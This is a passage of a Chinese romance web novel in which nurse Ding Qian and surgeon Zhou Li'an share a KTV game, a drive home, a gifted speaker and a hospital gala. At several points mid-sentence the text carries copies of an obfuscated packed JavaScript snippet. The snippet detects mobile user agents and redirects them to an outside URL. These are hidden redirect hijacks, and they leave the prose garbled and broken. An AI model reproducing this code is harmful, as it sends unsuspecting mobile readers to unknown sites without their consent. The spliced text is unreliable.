好几位年长的护士注重养生，一帮人干脆定了这家口味清淡且口碑较好的火锅店。 丁浅到时，一帮人已经来了七七八八。 “难得见小丁打扮，原来身材这么好呢！”苏棠眼瞅着丁浅越走越近，笑着开起玩笑。 丁浅抿着唇不说话，一双眼却早已弯起，似若星辰。 她一贯脸皮薄，一经逗就会不自觉脸红，何况今天这么多人在。 “平日里白大褂看惯了，陡然穿这一身我还真没反应过来。”钱唐大约多看了两眼，顿时有些不好意思。 他的举动被一帮年长的护士瞧见，直取笑他是不是没见过美女。 “美女当然见过，没见过小丁这一面。”他也没恼，笑嘻嘻地直摸头。 丁浅来了之后，剩下几位陆陆续续也到了，苏棠拍拍手示意大家开动。 “真不用再问问周主任吗？”其中一位觉得不妥忍不住问道。 “小钱说，周主任中午关照过说不来了。”苏棠解释。 “啊……那多没意思。”几位护士大约做好了想看周黎安出糗的准备，一听说人不来，顿时蔫蔫的。 “怎么，都盼着他来？” “当然！”异口同声，除了丁浅。 “吃完饭我让小丁问问，好歹她跟着搭班时间最长。” 众人都在看她，丁浅勉为其难点头，算是应下这个艰巨任务。 一顿饭吃到接近八点，众人正要转战五楼KTV，钱唐的手机突然响了。 “周主任给我打电话了！” 他这么一吼，众人的目光都跟着过来。 索性他按了免提，周黎安清冷的声线正从电话里缓缓传来。 “钱唐，地址发我。” “好嘞！” 嘟…… “这么直接的吗？”夏凝诧异：“浅浅，周主任平常也这样？” “发消息…基本不回复的那种。”丁浅开口。 “既然他待会要来，总不能还这样吧？”一帮护士交头接耳笑眯眯地谋划去了，剩下丁浅和钱唐以及程一鸣三人，面面相觑。 / 周黎安没打算凑这个热闹。 中午他已经让钱唐代为转达，等到接近下班才临时变了主意。 周清颜履行承诺，前几日就将音响寄了过来，周黎安正愁没办法送出去，思考再三决定过去一趟。 给钱唐打了通电话，周黎安不紧不慢洗了澡，然后拿上东西再次出门。 他不确定丁浅愿不愿意收，但已经决定要送，周黎安就没打算留到明天。 钱唐发来消息说他们在时代广场的KTV，周黎安皱皱眉，打算过去坐一坐，找个机会让人出来。 打定主意，他开车来到时代广场。 五楼一排边的休闲娱乐场所，除了KTV之外，还有电影院，台球厅以及保龄球馆之类。 周黎安由服务生领着进了包厢。 一开门，铺天盖地的吼声传来，钱唐正随着屏幕里的节奏唱着情歌。 难听程度让一帮护士捧腹大笑，这其中也包括丁浅。 她坐在与门正对着的角落里，服务生刚替周黎安开了门，他一眼就瞧见了。 她歪着脑袋，偎依在夏凝身上，一双炯炯有神的大眼睛早已弯成了月牙儿。 今日她穿着倒很淑女，格子裙白毛衣，挺符合时下年轻女孩儿的穿搭，要比夏天那会看起来舒服许多。 钱唐看见来人，赶忙按了暂停，他将话筒搁在一边，起身将周黎安迎了进来。 “主任，就等您了。”他笑嘻嘻地推开程一鸣，将最中间的位置空出来请他坐下。 “等我？”周黎安不解。 “等您来了咱们才能一块玩游戏呀！”夏凝完全忘了那日的恐惧，一句话瞬间点燃了其余人的兴致。 “怎么个玩法？”周黎安面色如常，心里早已猜到一帮人大概想看他出糗。 就夏凝，往日都能背着说他坏话，今日定起了坏心思。 一帮人里，只有丁浅没有附和，她抿着红唇，正用刚刚那双爱笑的大眼睛看向这边。 “人多当然玩骰子啦！两两组队，赢的人给输的人出题，没办法完成就唱歌或者喝酒。” 夏凝洋洋得意，“顶多是唱歌，也不算为难人吧？” “不为难。但是——”周黎安指了指丁浅，“我得跟小丁一组。” “哟！”大家一致起哄，直呼太有看点。 除了夏凝。 她一脸歉意的目光投向丁浅，无声在为自己的行为感到懊恼。 丁浅面上染起整朵的红云，她一声不吭和人换了位置，坐到周黎安身边。 靠的近，周黎安再次闻到一股淡香。 似迎着寒风傲然生长的红色玫瑰，清冷如霜，香气里夹杂着白雪皑皑的冷意。 前面的茶几已经被推到跟前，一帮人围坐好，开始玩起游戏。 不凑巧，丁浅第一回就和夏凝对上。 本着周黎安面前不能示弱的心态，夏凝卯足劲摇起骰子，想着自己打头阵呢，怎么样都得来个开门红。 谁知周黎安手气更好，三个六顿时让众人倒呵一声。 “惩罚你来，我刁难不好。”周黎安一向绅士，尤其对待女同事上。 “夏凝， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375773|168329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来段相声吧，大家都没听过。”得到指示，丁浅笑眯眯地说道。 夏凝大学那会曾和廖天淇去看过几场相声演出，回来之后迷得一发不可收拾，没事总在宿舍跟着学，没少被指浮夸。 这是夏凝为数不多的一段黑历史，今日被丁浅道破，夏凝直呼丁浅胳膊往外拐。 “要不唱首歌，或者喝杯啤酒也行。” 唱歌她五音不全，喝酒她生理期在，夏凝咬咬牙，脖子一横，视死如归的模样说道：“算了，姐姐我今天高兴！” 她大摇大摆拿着话筒走到前面，讲起了相声，直逗得众人捧腹大笑。 丁浅坐在周黎安旁边，也捂着嘴笑的异常开心。 大约是发现些什么，她转过脸，正好对上周黎安投过来的目光，匆匆一秒她就赶紧将头别到旁边。 这一眼，算是认识以来周黎安最近距离观察的一次。 他清楚的看到她贴了假睫毛，画了妆，连唇色都比往日鲜艳许多。 包厢开了暖气，此时她双颊微微泛着红光。 在丁浅回避的那一秒，周黎安也快速作出应对措施，并没有继续打量。 游戏还在继续，每次轮到他们这一对几乎都是周黎安出手，导致一个个的都指责周黎安不近人情。 “你来。”周黎安将骰子推到丁浅跟前，示意她上手试试。 “周主任，我——” “浅浅快啊，磨蹭什么呢！”夏凝大呼小叫的，早就等着这一刻。 丁浅咬咬牙，晃了几下，然后开盖。 点数最小，清一色三个一。 “对不起啊——”丁浅一脸歉意，正为自己的手气感到郁闷。 “没事。”周黎安看向对面，“可以出题了。” 对方是位年纪略长的护士，听了夏凝的话，专门挑了感情问题，打算问周黎安。 “大家都挺好奇周主任你的感情状况，不算为难吧？” 周黎安摇摇头，拒绝的彻底，“私事，不方便透露。” 随后他俯身正要去接面前的话筒，却被丁浅抢了酒杯。 “我来吧，是我手气不行。”她端着酒杯一饮而尽，面上要比刚刚自然些。 周黎安默默注视一眼，在轮到别人时小声嘱咐她不用太当真。 丁浅没理，紧紧盯着茶几上的骰子，似乎想要琢磨出门道来。 几轮下来，夏凝再次跟丁浅对上。 两人颇有暗斗的意思，惹得旁边两位搭档都没想插手。 三五六。 四五六。 夏凝与搭档拍了手，直呼惊险。 “浅浅，我都给大家表演相声了，你怎么的都得给大家露一手吧？” 夏凝知道丁浅颇有帮周黎安挽回颜面的意思，她刚刚兴奋过头，现在回过神也明白，如果真让周黎安出糗，大概率以后也没什么好果子吃。 “你说。”丁浅已经拿了话筒，起身准备点歌。 能让夏凝说出露一手的事，只有唱歌。 “那我就不客气了啊，我要听《体面》！”生怕别人不知道，夏凝替她打了一波免费广告，“浅浅唱歌可好听了，就是一直藏着掖着太低调！” “这歌不合适。”丁浅已经坐到点歌台前，打算换首欢快点的，碍不住众人起哄，她摇摇头只能插播进来。 “小丁真有这么厉害？”钱唐来了兴趣，跟着找夏凝打听。 “有公司想签，你说呢？” “我靠，真开眼界了！”钱唐甚至开了录屏，打算录上一段。 前奏刚进，周黎安刚好听到。 从唱第一句开始，所有人都屏住呼吸，谁都没想到丁浅小小的身躯居然会有这么大的爆发力。 期间周黎安看了一眼旁边，正唱投入唱歌的姑娘睫毛微颤，细细的指尖紧捏话筒，眼神专注，仿佛周遭空无一人。 在唱到那句“镜头前面是从前的我们在喝彩”时，她短暂换了下气，顺利掩盖住即将喷涌而出的情绪。 “太牛掰了吧！”一曲唱罢，钱唐走过来敬了她一杯。 丁浅抿唇，朝人微微一笑，故作镇定喝完。 游戏还在继续，无人在意的时候，丁浅偷偷抹了下眼角，吸鼻子的声音清清楚楚落到周黎安耳朵里。 心尖像被什么刺到，莫名揪住，再之后周黎安起身找了借口离开。 刚走出包厢，他借着门上的玻璃再次往里深深看了一眼，随后靠在过道上给人发消息： 【不想待就出来，跟我一块走。】 14. 014 高中那会，丁浅没有手机。 对于埋头努力学习的高中生来说，手机就像最无用处的装饰品，只能暂缓枯燥的学业却无法填补他们知识上的空白。 和顾西沉在一块之后，这种想法才彻底打破。 每当丁浅心情不好时，她只能跟学习拼命，等到第二天想把昨天的情绪发泄出来又得躲躲藏藏，再之后真等到有机会，情绪早散了。 后来他们俩做了约定，每天都给对方写一张纸条，不论长短，偷偷放在只有他们自己能找到的地方，就这么一来一回，秘密恋爱到高三。 两人当然也会制造偶遇机会。 无数次的走廊相遇，故意站在教室连廊嬉皮笑脸，甚至百日誓师大会，顾西沉都敢光明正大站她旁边。 只是因为，他们是理科班的佼佼者。 眉来眼去的日子久了，再迂腐的老师也看出些苗头。 没敢动真格，只各自找了机会谈话，让他们全力以赴对待高考。 算是被老师集体默认的一对，顾西沉无数次在纸条上写“浅浅，真想赶紧把你拐走。” 这些话被记在心里多年，哪怕如今形同陌路，丁浅仍然没敢忘记。 / 【不用了周主任，临时走也不好。】她快速拒绝。 莫名戳到心窝里的暖意属实让人意外，丁浅不至于木讷到猜不出周黎安的好意。 她放下手机，接连喝了两杯啤酒，再之后想离开的心思越发明显。 丁浅合理怀疑，周黎安学过心理学，简单的察言观色就能窥探出人心底的秘密。 可他毕竟不是一段亲密关系里最重要的人，不会给她反悔回头的机会。 丁浅表面镇定，其实心里已经在想待会要找什么样的借口。 “叮”地一声，屏幕再次亮起。 是周黎安的回复消息。 【十分钟，想好了回。】 还真是学过心理学！ 短暂思考之后，丁浅这回没再犹豫，快速给了答复。 【麻烦您了，我这就出来。】 周黎安想着她要实在不愿意，就让人出来把东西拿走，正打算追发一条时，消息竟然来了。 小心翼翼的语气，是她一贯的风格。 嘴角露出不可察觉的笑容，周黎安点开照相功能，将车位照片拍下，安心等着。 丁浅以低血糖胃里不舒服为由，成功抽身。 从KTV出来，她寻着周黎安给出的照片快速来到停车场。 他的车很好认，又停在显眼的地方，丁浅抓紧背包肩带，快速走了过去。 车窗半开，周黎安正在看手机。 听到动静，他将手机扔在中控台，回身去扣安全带。 “实在不好意思，周主任。”丁浅走的有些着急，刚上车便在微微喘气。 她像是给人惹下什么麻烦，模样有几分局促。 “怎么又改变主意了？”周黎安目光随了过来，光影中很难叫人分辨情绪。 丁浅注意到周黎安今日穿了件休闲夹克，纯黑色，迎着车厢昏黄的顶灯，正反射出好看的金光。 里面是件立领开衫，拉链半敞，脖子下侧的锁骨若影若现。 他喉结滑动，似在等她回答。 “不想再勉强了。” “那还喝酒？”周黎安没有要发动汽车的意思，他指尖点着方向盘，有一下没一下的，不知是不是有意。 越是这般漫不经心，越叫人难以琢磨，丁浅倒宁愿他跟之前一样简单直接，也好过此刻去猜他的心思。 “你不是酒精过敏嘛，我想着总不能让别人取笑你吧？” “所以…从我来之前，你就知道她们要玩游戏整我？” 丁浅没想到周黎安一早就识破她们的“诡计”，她撇撇嘴，不以为然地说道：“你不是也拿我做挡箭牌了？” 周黎安没再开口，聊天临时中断。 一时间气氛诡异到令人懊恼。 在丁浅试图找其他话题缓解这种局面时，她突然听到一道低沉沉的男声。 “较劲！” 犹如远古的钟声，震得心脏不由一颤。 大概率又惹到他，丁浅不敢再多说一个字。 汽车离开停车场，室外的冷气尽数往车厢里钻，丁浅闷头打了个喷嚏，随后车窗被人关上。 “丁浅！” “嗯？”丁浅正揉着鼻子，听到周黎安的声音不由坐直身子。 “我唱歌还行。” 言外之意是：不会到让人取笑的地步。 “对不起啊，我以为像您这样的人不会唱歌——” “像我这样？”脱离工作，周黎安变得有人情味多了，他眉峰上扬，勾唇一笑：“我什么样？” “老，老干部形象。” 风呼呼在刮，马路两侧高大遮天的法国梧桐彼此呼应，宽敞的车内，只听得到风敲打车窗的声音。 丁浅目光凝视前方，只见黑暗逐渐被车灯劈开一条大道，这条道到头都是笔直宽敞。 这是她第二次坐周黎安的车，跟上回一样，同样叫人坐立难安。 “喜欢唱歌为什么要放弃？”快要接近玉兰苑，周黎安再次开口。 丁浅一直发呆，等到反应过来时完全不知何意。 “什么？” “我好像听到夏凝说你拒绝过音乐公司？” “嗯。”丁浅点点头，“想法一时时的，错过了最好的时机，也就没那么执着了。” 对于从前，她相当坦诚。 高考过后正是他们踏入新世纪大门的关键一步，丁浅无数次幻想要和顾西沉携手并进，可真到那天来临时，她却没办法抛开一切。 张初华的话犹如一道警钟，白天黑夜的敲着她冥顽不灵的心，最终在填志愿那一刻彻底被敲碎。 没能实现梦想并没有成为她最遗憾的事情，丁浅一直想不通的是，顾西沉说走就走，没再回头看她一眼。 那家公司正是顾西沉所属的音乐公司，所有人都夸她运气好，以后肯定大红大紫，但只有丁浅摇摇头，婉言谢绝。 从前无法携手，今后必然不会冰释前嫌。 破镜重圆的戏码会在很多人身上灵验，唯独不会是她。 / 酒精会使人不自觉产生倾诉的欲望，但丁浅没有。 她将车窗打开一条缝隙，任凭冷风吹拂，无声的在缓解那首歌所带来的负面情绪。 “暗格里有口香糖。”周黎安说道。 “什么？”丁浅没听太清。 “我说，口香糖可以提神，要吃自己拿。” 丁浅朝他眨了眨眼，后知后觉一般低头去看中控台。 暗格里确实有一盒口香糖。 常见的牌子，薄荷口味。 丁浅倒出两颗塞进嘴里，刚嚼两下，被呛得直打喷嚏。 “怎么这么冲啊？”她捂着嘴，小脸皱成一团。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375774|168329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“是让你缓解疲劳，不是当糖吃。”周黎安面无表情地打击她：“就你这个酒量还学人挡酒？” “替你考虑还错了。”丁浅没敢理直气壮同他理论，一个人暗自嘀咕。 “敢做就要敢说！丁浅，我耳朵很好。” 周黎安是真听到了，而且还是关键的四个字“替你考虑”。 “就当上回你帮我，以后别再挑我毛病了。” “我挑你什么了？”周黎安转头快速看了一眼，只见对方赌气似的，耷拉着脑袋，像只垂头丧气的猫咪。 周黎安本是要跟她好好说道说道，话到嘴边又改了，“你都调回急诊，我还挑的着？” “也是。”丁浅沉声附和。 发现不对劲是在距离玉兰苑仅剩的那个十字路口。 红灯，周黎安借着路灯看她。 他一如既往冷着张脸，剑眉之下，眼神晦暗不清。 “对不起，我不是故意的。”丁浅两只手攥在一起，手心已经微微开始冒汗。 “是我该跟你说声抱歉。”红灯即将跳转，周黎安开口。 丁浅受宠若惊，连忙摆手说不是。 但周黎安并没有认同。 他将车停在小区旁边的停车线内，拉上手刹，才接着往下说。 “上海坐诊那天，我并不是故意针对你。”周黎安解释：“爷爷刚走，情绪上多少暴躁了些。” 他在主动坦白，颇有拿她当朋友的意思。 越是这般推心置腹，丁浅越觉得自己有愧，“您别…后来我妈妈也说了，她觉得什么都不知道也挺好。” 周黎安点点头，心里正在盘算要不要顺势说些什么，好让那姑娘把东西收下。 只是他这般沉默不语，落在丁浅眼里却误将他的情绪再次放大。 “您——” “你——” 两人异口同声，却各自沉默。 周黎安下巴微扬，“要说什么？” “没，我就是想跟您说，人死不能复生，老人家在天上也不见得希望您这样。” “不好也不会跟你说这些。”周黎安莞尔，“工作上我确实严格，但以后你回急诊我也管不着。有想问的都可以直接问，我不记仇。” “谢谢。您呢，周主任您刚要说什么？” 周黎安没答，反而伸手解开安全带。 突如其来的动作让丁浅浑身僵硬，尤其周黎安半边身子都朝她靠了过来。 无声的压迫，毫无悬念的窒息，都在逐渐放大一件事——她的心，正在疯狂跳动。 稍纵即逝，周黎安手伸向后排。 “拿着。”他单手取来，直接扔她腿上。 盒子没有精心包装过，除了外面一层塑封膜再无其他装饰，几乎是拆了快递盒，直接拿过来放车上的。 丁浅认得，正是她中意多时却没舍得下手的蓝牙音响。 “您这是——”看着手心里巴掌大小的纸盒，丁浅一时难以置信。 “补偿。还有，三个月的照顾。” “不用不用，这东西太贵重，我不能收！” 瞬间明白过来后，丁浅连忙将盒子送过去，没成功，半道又被周黎安给推了回来。 “知道贵重就收下，要不然明天我转交给你们护士长。” “不是，您也不能这么霸道吧？” “知道吃饭你肯定不去。” 何止不会去，恐怕他一开口，她甚至会躲得更远。 15. 015 认识丁浅之前，周黎安认识的年轻姑娘就只有堂妹周清颜。 丁浅跟她绝不属于同一类人。 周清颜实打实的外向张扬，丝毫不懂如何掩饰自己的情绪。 从小到大，调皮捣蛋的事情周清颜做过不少，为此周黎安没少被家里人推出来去教育她。 一次两次还有所成效，等到长成大姑娘后，那丫头简直要掀翻了天，直接将男朋友带到他跟前，大有公开宣战的意思。 周黎安反而息鼓偃旗，让她彻底体验了一把没有经济实力感情的毒打，再之后周清颜幡然醒悟，重回正道。 表达感谢如果放在周清颜这样性格的姑娘身上，一定不用这么麻烦，一顿饭就能解决。 她向来大大咧咧，心思远没有那么复杂。 丁浅却不是。 早在心外科第一次见到她时，周黎安就深刻意识到这姑娘的心思，深沉的如同海底的石块。 看着不起眼，实际上谁也窥探不得。 她太懂分寸，也就显得太过刻意。 周黎安没有过多思考这种性格到底是好还是不好，总之，音响送出去，他的心意也就到此为止。 / 回到急诊，生活重新回到从前。 江洛为了庆祝丁浅脱离周黎安的魔掌，第一时间快递给她一大袋零食，美名其曰，祝她今后工作顺风顺水。 收到快递的当天夜里，丁浅彻底忙瘫。 一波又一波的流感病人连夜在挂点滴，安静空旷的输液区，整晚咳嗽声此起彼伏，声音听着总叫人觉得漫漫长夜无比难捱。 早晨交班，丁浅已经累到濒临虚脱。 她换好衣服坐在更衣室的长凳上，开始给江洛打电话。 “喂，这么早打我电话干嘛？”江洛根本不可能在八九点钟起床，今天这个声音也不例外，根本是被吵醒的。 “你昨天那堆零食，差点没把我累死！”丁浅劈头盖脸就是一通抱怨。 “没送对吗？” “何止没送对，简直是我们干急诊人的噩梦。” “那我下次送什么？” “苹果，我就爱吃苹果！” “行，那没事我挂了，还没睡够呢。”江洛有气无力的，听说没什么大事立马掐了电话。 十二月底，距离新年还剩不到两个月。 丁浅和往常一样起床上班，刚拉开窗帘，外面已经下起小雪。 一颗颗的雪粒子打在窗户上，像极了过年家里腌制咸菜的粗盐，颗颗分明。 丁浅打开窗伸手去接漫天飞舞的雪花，还没等将手收回来，手心的热度已经将棱角分明的雪花给融化了。 她换了长款羽绒服，厚厚的毛绒帽，踩着刚刚漫过路面的薄雪去坐地铁。 恶劣的天气，地铁出行的打工人比往常多得多，丁浅人是站在车厢里，但脚上那双崭新的雪地靴也因此被人踩了不止三下。 一路被人左推右搡，好不容易到了目的地。 走出地铁站，浅棕色的雪地靴上印着两块黑斑，像是被人蓄谋已久泼下的脏水。 丁浅心疼不已，碍于时间紧迫，她快速朝医院走去。 经过停车场，正巧遇见周黎安。 回到急诊之后，丁浅没碰到过周黎安，今日见他身上那身搭配，多少觉得惊奇。 就她眼里，周黎安绝对属于工作严谨为人低调的类型，像他身上这种休闲风格的深灰色长裤，不该出现。 何况他上身还是一件宽松版型的黑色羊毛大衣，以及脖子上戴着条黑白印染的长围巾，这身搭配几乎能媲美日韩潮男。 周黎安拎着包从车上下来，见她站在路边，微微点了点头。 排除职业，周黎安算得上会穿且能把深色系穿出个人韵味的男人。 有那么一瞬间，丁浅脑海里甚至漫过一个疑问，究竟什么样的女人，才能入得了他周黎安的眼睛？ 杂念并没有经得起推敲，在丁浅来到急诊之后彻底消除。 早间晨会，一帮护士围在护士长办公室。 例行总结完各项工作之后，庞燕将上周开会布置下来的任务告知众人。 “年会定在一月下旬，跟往年一样每个科室都得出节目，大家有什么好的建议没有？” 庞燕这话刚出口，就见一帮护士挨个垂下脑袋，跟约好似的，一群人里没一个主动提出想法。 “真没有？那我可点名了。” “护士长，好歹我们去年参加了，今年不能再让我们上吧？” 有护士担心点到自己率先开口，话刚说完一群女人都抿着唇，生怕笑声太大被护士长点名。 不怪人家主动开口，而是去年她们急诊科的舞蹈没少被人笑话。 做护士的白天补觉晚上上班，休息时间几乎都奉献给家庭孩子，哪有时间排什么舞蹈？ 何况，那几位正巧赶上休息的护士，几乎都离身材苗条差一大截。 “是啊护士长，去年我老公来了都没好意思给我拍照片，说实在太难看了。”旁边一位跟着附和。 庞燕了然于心。 去年就这年会，她没少被其他科室打趣，今年也算是下了决心一定要把这项工作做好。 “小丁，你什么想法？” 丁浅心思都落在其他人身上，冷不丁被点名，脸上的笑容还挂着，身体已经快一步僵住。 这个意思，该不会让她上吧？ “我——”丁浅正要说自己没什么想法，奈何被庞燕抢先一步。 “小丁啊，有实力应该展示出来才对。苏棠都跟我说了，还藏着掖着呢？”庞燕一双眼似明镜，在她身上来来回回看了又看。 “护士长，我先看一下排班，万一——” “我替她！”沈佳率先举手，“小丁要是有班我替她。” 其他人也纷纷开口，完全不给丁浅拒绝的机会。 话说到这个份上，丁浅也不好再三推脱，她点点头，“那行，不过我只唱歌，跳舞什么的不太行。” “就唱歌，这回也让我们急诊高傲一回！”庞燕越说士气越高涨，好像被人打趣一年的事情终于有了反败为胜的机会。 同样的动员工作还发生在心外科。 苏棠看着手底下一群护士闷头不语，实在生气。 “年会正是大家展现自我的好时机，怎么你们一个个都跟缩头乌龟似的，这么被动？” 苏棠气不过，亲自点了几位，“实在不行就唱唱歌跳跳舞，这也困难？” “唱歌咱们肯定比不过急诊，跳舞去年急诊又被笑话了一整年，我们实在……”夏凝忍不住嘀咕。 她刚从丁浅那得知对方被点名参加，这个时候哪还敢好意思献丑？ “你说小丁参加了？”苏棠一拍脑袋，“我就不应该跟庞燕炫耀，这把她可高兴坏了。” 最后的主意是科室两位女护士表演东北相声，这其中就包括夏凝。 “浅浅，我真被你害惨了！”夏凝约 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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手术外加刚收进来几位疑难杂症的病人，让人几乎没有喘气的功夫。 近段时间，钱唐程一鸣已经跟着周黎安上手术台，当天手术结束已经过了六点。 “周主任，今晚的年会您去不去？”办公室里，钱唐将送过来的盒饭放到周黎安面前，忍不住多嘴。 排除工作上一贯的严谨作风，周黎安私下还算通情达理，平常遇上他们迟到，也几乎睁只眼闭只眼。 “不去。”周黎安做了一下午手术，眼下只想吃完赶紧收拾东西下班。 “程一鸣你呢，小丁排在后面咱们下班过去正好。” “去吧，我也挺想感受一下年会的氛围。” 两人一来一回说了几句，再之后默不作声开始吃饭。 周黎安其实知道丁浅参加。 那天，他无意路过宣传栏，年会的节目单被贴在最显眼的地方，他一眼就注意丁浅的名字。 算不上压轴，但肯定是被放在最关键部分。 原本他没有要去，当钱唐跟程一鸣收拾东西准备出门的时候，周黎安还是将两人叫住。 “等等。” “您不是——” “刘院长交代过。”他敷衍道。 16. 016 没有人会对周黎安的话产生质疑。 何况钱唐奉他为大神。 这种情况下，他说什么做什么都有一定的根据，就好比现在。 周黎安自从坐下便开始闭目养神，跟他说的话完全吻合，好像真的是在应付上级下达的指令。 钱唐不敢大声喧哗，老老实实坐在一旁，时不时看两眼，再时不时和程一鸣低声交谈两句。 大约半小时之后，主持人悠扬的声线响起，周黎安终于睁开了眼睛。 刚刚，他听到主持人报了丁浅的名字。 从对方走上舞台开始，台下的欢呼声就没有停过。 钱唐听见周围掌声不断也跟着一块起哄，却被周黎安一顿呵斥：“随什么大流？” 再之后他便老实了，尽管眼里的欣喜根本没法办掩饰。 / 丁浅为了今日特意选了一款淑女长裙，裙子长到脚踝，裙边镶一圈蕾丝花边，束腰修身，纯白色质地柔软舒适，像是特意为她量身定做的。 白天江洛就帮她盘好了头发，低低的发髻插一支流苏簪，耳边散落的细碎也被精心打理过，此时追光正好落在她身上，将她环在光圈之内。 被舞台特别偏爱，大抵就是这种。 她今日要唱的是一首粤语歌，来自卢巧音的《三角志》。 选这首歌没什么太多含义，完全是最近听的多，不用再多花时间去练习。 相对国语歌曲，丁浅更要擅长粤语歌。 高中那三年，除了学习她剩下的时间几乎都用来学习粤语和谈恋爱，这样一首经典老歌并不在话下。 刚进第一句，钱唐已经被震撼到。 他不敢置信，晃着程一鸣的胳膊，“你说小丁做护士，是不是太屈才了？” “人家总有自己的想法。” 程一鸣曾在女朋友手机里听过这首歌，当时还笑说好端端谈着恋爱呢，干嘛要听这种风格的歌曲。 女朋友当时可是愤愤不平，甚至理直气壮地告诉他：“有时候听歌不分心情，就是纯粹喜欢。” “不是，你没想过小丁或许在感情里受过伤？”钱唐自言自语：“小丁好像是没跟咱们提过。” “伤心事谁爱说？” “也是。” …… 交谈声不算大，周黎安听得清清楚楚。 想起酒吧里陈越说过“有机会你听到就明白了”，眼下算是懂了。 谁都能唱粤语歌，但不是人人都能唱好。 早些年周黎安曾经带队去过一趟香港，全程英文交流。 在那里一周多时间，他几乎天天听当地人用粤语交谈，愣是没听懂一句。 临别前他特意拿此事问过当时接待的负责人，对方只是意味深长的笑称，“学不难，听歌就行。” 如今，周黎安觉得要想唱成丁浅那种行云流水的程度，恐怕不仅仅是听这么简单！ 接近尾声，周黎安的思绪才渐渐被收回。 台上，明媚的姑娘正弯着唇，笑着朝台下挥手，鞠完躬转身走下舞台。 节目还在继续，周黎安已经无心再听。 他瞟一眼身边，只见钱唐不知在和谁聊着微信。 一句接一句，聊的投入。 姑姑周芸打来电话时，恰逢周黎安正要起身。 目光错开，他不经意间瞥到钱唐的手机，屏幕里那个龇着牙的紫色头像让人印象深刻，尤其他注意到那个头像的主人正发过来一个超级大的卡通表情。 同样的捧脸表情，前不久周清颜也给他发过。 那会周黎安还暗自嘲笑她幼稚，如今看来……是他这个人古板完全与时代脱节。 丁浅从台上下来之后，一直坐在后台化妆间。 待会还要评比，她没办法提前先走。 正有一句没一句的跟钱唐聊着天，界面左上角突然冒出一条微信消息。 打开，原来是周黎安。 【少整些伤春悲秋的事，这歌不适合你。】 / 周芸这通电话是专门打来请周黎安做说客。 周老爷子生病去世后，杨淑梅一直住在老城区，周芸作为女儿，苦口婆心劝说多回，老太太硬是不肯搬过来同住。 新年即将到来，周芸夫妻俩再次商量要将老人接过来，不出意外还是遭到拒绝。 “黎安，奶奶一直最疼你，要不你帮我劝劝？”周芸没辙，只能把希望寄托在这个侄子身上。 “行，我问问。” 周黎安站在人声鼎沸的礼堂门口，开始给杨淑梅打电话。 刚被接通，就听见一道洪亮的嗓音从电话里传来。 “有好消息了？” “没有。” 杨淑梅一听瞬间拉下脸，“那给我打什么电话？” “姑姑让我劝您一起过年。”周黎安如实回答。 “不来不来。我住这边自在，没事还能溜溜弯，真来了你们那，没处逛。” “我和姑姑轮流陪您还不行？” “我宁愿你去陪女朋友！”老太太态度坚决。 周黎安被揶得瞬间说不出话。 他不擅长哄人，尤其杨淑梅不像其他老太太善解人意，很多时候她要比一般姑娘家还要难哄。 “那要不这样”周黎安拿出杀手锏，“您只要愿意过来和我们一块过年，我保证尽早解决个人问题，您看这样行不行？” “又想骗我？” “您不愿意就算了，大不了放假我回去看您。”说完他便要挂电话，算是有赌的成分，猜到老太太对他感情上的事格外上心。 “你要敢骗我，饶不了你！” 老太太好不容易答应，周黎安却多了桩烦心事。 他无心情爱，上哪去给老太太找个孙媳妇？ 思考无果，周黎安打算走一步看一步，实在不行乖乖认错，好歹先把人哄过来再说。 / 举办年会的地方距离医院不远。 周黎安并没有开车过来，等到他回停车场取车之后，年会也正式结束。 丁浅拿到荣誉证书，先一步走出礼堂。 相比批评，她更怕被人当众夸赞。说不上两句就会脸红，让人觉得跟她的职业毫不相符。 经过路口，突然接到夏凝的电话。 “浅浅你怎么跑这么快？” “怕待会挤地铁人多。” “难怪钱唐没找到你人。回来吧，跟我们一块去吃夜宵？” “你们去吧，我明天早班。”丁浅捋一把被风吹乱的头发，不带一丝犹豫。 “那行，改天咱们再约。” 绿灯亮起，丁浅收好手机准备过马路。 周黎安的车停在最前面，丁浅左右张望的时候正好瞧见。 玻璃遮光，丁浅看不出车内什么情况，她只知道自己从那辆车前经过，周黎安并没有按下车窗跟她打招呼。 这种情况放在平常完全合理，换成是她坐在车内，也绝对不会将头探出窗外，只是为了打一声可有可无的招呼。 然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“妈，这事好歹咱们也得通知一下黎安吧？他那脾气你又不是不知道？” “再顺着他，我恐怕要到天上才能看见我那孙媳妇！”老太太精神抖擞，说起话来中气十足，要不是去年老伴去世，这事不会一直拖到现在。 “可是——” 